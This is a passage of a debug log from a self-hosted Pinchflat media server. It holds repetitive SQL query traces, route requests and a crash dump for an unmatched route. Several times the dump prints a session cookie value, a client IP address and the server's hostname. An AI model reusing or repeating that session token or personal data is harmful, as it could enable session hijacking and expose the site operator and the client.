"x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163703.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, priv (truncated) 18:56:14.322 [info] GET /sources/2 18:56:14.323 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 18:56:14.323 [debug] QUERY OK source="sources" db=0.1ms idle=111.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.323 [debug] QUERY OK source="media_profiles" db=0.1ms idle=26.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:14.324 [debug] QUERY OK source="tasks" db=0.9ms idle=27.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 18:56:14.325 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=5.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17076] 18:56:14.325 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.325 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.326 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.327 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.328 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:14.329 [debug] QUERY OK source="media_items" db=0.8ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:14.329 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.330 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:56:14.330 [debug] QUERY OK source="media_items" db=0.5ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:14.332 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.332 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 18:56:14.334 [debug] QUERY OK source="media_items" db=0.9ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:14.335 [info] Sent 200 in 12ms 18:56:14.559 [info] GET /sources/2/sync_files_on_disk 18:56:14.559 [info] GET /sources/2/media/310552 18:56:14.559 [info] GET /sources/2/media/469491/edit 18:56:14.559 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "310552", "source_id" => "2"} Pipelines: [:browser] 18:56:14.559 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "469491", "source_id" => "2"} Pipelines: [:browser] 18:56:14.560 [debug] QUERY OK source="settings" db=0.3ms idle=228.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.560 [debug] QUERY OK source="settings" db=0.3ms idle=226.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.560 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.560 [debug] QUERY OK source="media_items" db=0.7ms idle=227.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [310552] 18:56:14.561 [debug] QUERY OK source="media_items" db=1.2ms idle=227.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 18:56:14.561 [debug] QUERY OK source="tasks" db=0.4ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [310552] 18:56:14.561 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.561 [debug] QUERY OK source="sources" db=0.7ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.562 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.562 [debug] QUERY OK source="settings" db=0.4ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.562 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.563 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.560 [error] #PID<0.163709.0> running PinchflatWeb.Endpoint (connection #PID<0.163707.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33414}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163709.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guPBk4B7X0RgACUkj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33414}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33414}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163709.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Rou (truncated) 18:56:14.563 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.563 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:14.564 [info] Sent 200 in 4ms 18:56:14.565 [info] Sent 200 in 5ms 18:56:14.674 [info] GET /sources/2/media/310552/edit 18:56:14.674 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "310552", "source_id" => "2"} Pipelines: [:browser] 18:56:14.674 [debug] QUERY OK source="media_items" db=0.2ms idle=111.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [310552] 18:56:14.675 [debug] QUERY OK source="settings" db=0.1ms idle=112.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.675 [debug] QUERY OK source="settings" db=0.0ms idle=112.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.675 [debug] QUERY OK source="settings" db=0.1ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.676 [info] Sent 200 in 2ms 18:56:14.679 [info] GET /sources/2/media/231209 18:56:14.679 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "231209", "source_id" => "2"} Pipelines: [:browser] 18:56:14.679 [debug] QUERY OK source="media_items" db=0.1ms idle=115.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [231209] 18:56:14.680 [debug] QUERY OK source="tasks" db=0.1ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER 